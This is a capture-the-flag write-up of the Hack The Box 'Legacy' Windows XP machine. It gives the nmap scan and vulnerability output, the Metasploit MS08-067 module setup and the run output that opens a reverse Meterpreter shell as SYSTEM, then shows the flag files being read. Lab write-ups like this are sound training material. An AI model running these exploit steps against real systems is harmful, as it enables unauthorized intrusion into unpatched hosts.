



# Legacy

▼ Platform	HTB
📅 Date	@March 24, 2022
▼ Operating System	Windows
☰ Tags	searchsploit smb

## General-Information

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- 

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- Link: <https://app.hackthebox.com/machines/2>
- IP: 10.10.10.4

## Scanning/Enumeration

- ▼ Looking at the feedback from the basic nmap scan I see that two ports for SMB are open (139;445) and that RDP is open on port 3389. Looking at the information given

back about the SMB service I see information about the computer name being `legacy`, which is expected given the name of the box.

- Basic `nmap` scan results: `nmap -A -Pn $IP -oN nmap.txt`

```
PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows XP microsoft-ds
3389/tcp   closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
_ clock-skew: mean: 5d00h43m11s, deviation: 2h07m16s, median: 4d23h13m11s
_ nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:f3:30 (VMware)
_ smb-os-discovery:
  OS: Windows XP (Windows 2000 LAN Manager)
  OS CPE: cpe:/o:microsoft:windows_xp::-
  Computer name: legacy
  NetBIOS computer name: LEGACY\x00
  Workgroup: HTB\x00
  System time: 2022-03-29T23:40:26+03:00
_ smb-security-mode:
  account_used: <blank>
  authentication_level: user
  challenge_response: supported
_ message_signing: disabled (dangerous, but default)
_ smb2-time: Protocol negotiation failed (SMB2)
```

▼ Checking the feedback from the `nmap` scan with vulnerable scripts enabled and I see that there are two possible big vulnerabilities that might be within the SMB service, being `smb-vuln-ms08-067` and `smb-vuln-ms17-010`. I'm going to search for these modules on `metasploit` to try and exploit one of the vulns.

- `nmap` vuln scan results: `nmap --script vuln $IP -oN Nmap_vuln-initial.txt`

```

Host script results:
_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
smb-vuln-ms08-067:
VULNERABLE:
Microsoft Windows system vulnerable to remote code execution (MS08-067)
State: VULNERABLE
IDs: CVE:CVE-2008-4250
The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
code via a crafted RPC request that triggers the overflow during path canonicalization.

Disclosure date: 2008-10-23
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
_smb-vuln-ms10-054: false
_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

```

## Metasploit

▼ I first tried `smb-vuln-ms17-010` because that's the Eternal Blue exploit and I was curious if it would also work for this machine, which it didn't. When I used exploit `smb-vuln-ms08-067` it did work and I was reworded with a `meterpreter` shell as `NT AUTHORITY\SYSTEM` or the highest user on the machine, so it'll be easy to get the flags and finish up.

- Searching for `smb-vuln-ms17-010`

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > search ms08-067

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms08_067_netapi      2008-10-28      great Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

```

- Setting `options`

```

msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 10.10.
LHOST => 10.10
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
RHOSTS => 10.10.10.4

```

- `meterpreter` shell as `NT AUTHORITY\SYSTEM`

```
msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
[*] 10.10.10.4:445 - We could not detect the language pack, defaulting to English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.10.4:445) at 2022-03-24 14:53:48 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

## User.txt Flag

- ▼ The user flag was located in `john`'s Desktop directory.

- `user.txt` being displayed

```
meterpreter > dir
Listing: C:\Documents and Settings\john\Desktop

Mode                Size      Type      Last modified          Name
----                -
100444/r--r--r--    32      fil      2017-03-16 02:19:32 -0400 user.txt

meterpreter > cat user.txt
e6

meterpreter > _
```

## Root.txt Flag

- ▼ The root flag was located in the `Administrator`'s Desktop directory.

- `root.txt` being displayed

```
meterpreter > dir
Listing: C:\Documents and Settings\Administrator\Desktop
=====
Mode                Size      Type      Last modified          Name
-----
100444/r--r--r--   32      fil      2017-03-16 02:18:19 -0400  root.txt

meterpreter > cat root.txt
99
meterpreter > _
```

## What I learned

- This is a similar flow to the Blue machine, where you exploit an SMB misconfiguration via Metasploit, but it was fun to do!